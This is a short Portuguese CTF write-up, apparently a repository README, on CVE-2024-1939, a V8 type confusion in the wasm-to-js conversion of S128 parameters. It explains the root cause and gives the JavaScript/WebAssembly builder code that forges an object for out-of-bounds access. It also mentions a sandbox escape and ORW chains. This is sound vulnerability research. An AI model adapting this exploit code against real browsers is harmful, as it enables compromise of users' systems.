rycbar77/cve-2024-1939Para V8CTF M122
Esta é uma breve descrição da CVE-2024-1939, que usei para reivindicar o V8CTF M122.
A causa raiz deste problema é a falta de suporte para kWasmS128 na conversão wasm-to-js. Especificamente, operações wasmS128Const que ocorrem em pilhas de parâmetros são ignoradas, causando confusão de tipos quando um ExprRef está presente nos parâmetros.
Em detalhes, isso fará com que um int/float seja diretamente convertido em um objeto. Então é fácil construir um array falso com comprimento arbitrário, o que nos dará capacidade de leitura e escrita fora dos limites (oob). Ainda há um obstáculo a contornar: o wasmS128Const só ocupará o lugar de parâmetros do tipo float que são armazenados no FPSlot e não influenciará os parâmetros marcados (tagged) que são armazenados no GPSlot. As maneiras existem no StackSlot. Os registradores FP/GP têm limites de tamanho. Depois disso, os parâmetros serão armazenados no StackSlot em ordem. Se preenchermos os registradores e colocarmos um número float no StackSlot, o parâmetro marcado será analisado a partir do StackSlot e nos dará nosso objeto falsificado.
O exploit final não incluirá o construtor deste módulo wasm por simplicidade e velocidade, então o anexarei aqui.
function get_corrupt(addr) {
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
u32[0] = addr;
u32[1] = 0;
const builder = new WasmModuleBuilder();
const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
const importId = builder.addImport('mod', 'foo', typeId);
builder.addDeclarativeElementSegment([importId]);
builder.addFunction('main', kSig_v_v)
.addLocals(wasmRefType(kWasmI31Ref), 1)
.addBody([
...wasmS128Const(0xdeadbeef, 0xdeadbeef),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(1.1),
...wasmF64Const(f64[0]),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI64Const(0xbbbbbbbb),
...wasmI32Const(0xaaaaaaaa),
kGCPrefix, kExprRefI31, kExprLocalTee, 0,
kExprRefFunc, importId,
kExprRefFunc, importId,
kExprCallRef, typeId,
]).exportFunc();
const instance = builder.instantiate({ mod: { foo: ff } });
let f = instance.exports.main
f();
}
get_corrupt(addr);
Um worker é utilizado para estabilizar a memória, pois foi observado que os endereços permanecem relativamente estáveis em threads worker.
Para contornar a sandbox, veja V8-Sandbox-Escape-via-Regexp. O exploit final usa cadeias orw normais para escrever a flag através do stderr.